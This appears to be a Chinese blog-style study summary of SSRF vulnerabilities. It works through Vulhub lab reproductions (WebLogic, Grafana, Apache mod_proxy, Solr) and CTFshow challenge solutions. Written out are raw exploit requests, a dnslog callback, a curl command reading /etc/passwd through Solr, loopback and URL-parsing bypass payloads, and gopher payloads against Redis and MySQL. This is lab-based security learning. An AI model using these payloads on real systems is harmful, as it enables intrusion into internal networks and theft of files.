SSRF漏洞整理总结ssrf漏洞描述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

常出现的地方

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

案列演示weblogic-ssrf漏洞

环境链接:Vulhub – Docker-Compose file for vulnerability environment

复现:漏洞参数点operator=http://127.0.0.1:7001

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1Host: 101.34.226.129:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 136Origin: http://101.34.226.129:7001Connection: closeReferer: http://101.34.226.129:7001/uddiexplorer/SearchPublicRegistries.jspCookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=FzyNjhXHdMKBWzQ8TPSLXcr4hXJ1fhyvqgSQlcTj9BZc8K19QKJC!-739248832Upgrade-Insecure-Requests: 1operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=123456&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

当端口不存在时显示

当端口存在时

通过redis拿shell,Vulhub – 用于漏洞环境的 Docker-Compose 文件这篇文章有讲了

然后发送payload等待反弹即可

Grafana Admin Portal SSRF

漏洞环境Vulhub – 用于漏洞环境的 Docker-Compose 文件

启动漏洞环境

docker-compose up -d

漏洞利用脚本RandomRobbieBF/grafana-ssrf:Grafana 中经过身份验证的 SSRF (github.com)

python3 grafana-ssrf.py -H http://124.223.52.83:3000 -u http://tz1r7f.dnslog.cn

收到请求

mod_proxy SSRF 的 Apache HTTP 服务器 2.4.48 (CVE-2021-40438)

漏洞环境Vulhub – 用于漏洞环境的 Docker-Compose 文件

启动环境

docker-compose build docker-compose up -d

发送请求

接收到了

Apache Solr RemoteStreaming Arbitra File Reading and SSRF

环境连接Vulhub – 用于漏洞环境的 Docker-Compose 文件

docker-compose up -d

启动环境

访问该连接以提取数据库名称

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

发送以下请求,修改数据库的配置以启用:demo``RemoteStreaming

curl -i -s -k -X $'POST' \     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \     $'http://your-ip:8983/solr/demo/config'

然后即可读取任意文件

curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

ctf-showweb351

web352

web353

回环地址绕过

url=http://127.255.255.254/flag.php

url=http://0/flag.php

url=http://[::ffff:7f00:1]
url=http://127.1

web354

将自己的域名解析到本地的127.0.0.1绕过

web355

host要小于5位,那么上面就有payload可以绕过了

直接http://127.1/flag.php就可以了

web356

现在又要host小于3位了,那么直接url=http://0/flag.php就可以绕过了

web357

gethostbyname — 返回主机名对应的 IPv4地址。 filter_var — 使用特定的过滤器过滤一个变量FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

就是可以搞个公网地址,然后302跳转到127.0.0.1即可

<?phpheader("Location:http://127.0.0.1/flag.php"); 

web358

要以http://ctf开头,show结尾,以http://ctf.开头的话,就加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1,再用?a=show来匹配后面的,所以payload就为url=http://ctf.@127.0.0.1/flag.php?show

web359

提示mysql没有密码

抓包发现returl可能存在ssrf,那么就是用ssrf漏洞打没有密码的mysql

用工具生成ssrf的payload

tarunkant/Gopherus:该工具生成gopher链接,用于利用SSRF并在各种服务器中获得RCE (github.com)

下面_后的内容发送的时候再次url编码一次

然后再去读取下flag就出来了

web360

提示给出打redis

那就直接生成打吧

url需要再次编码一下

然后再去读flag

乌云案列

腾讯某处SSRF漏洞(非常好的利用点)附利用脚本 |伍云-2016-0215419|WooYun.org (zone.ci)

小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本) |伍云-2016-0215779|WooYun.org (zone.ci)

360某处ssrf漏洞可探测内网信息(附内网6379探测脚本) |伍云-2016-0229611|WooYun.org (zone.ci)

华为某分站存在SSRF漏洞 | wooyun-2016-0214331| WooYun.org (zone.ci)

百度某处SSRF可漫游内网 | wooyun-2016-0214138| WooYun.org (zone.ci)

文件导出ssrf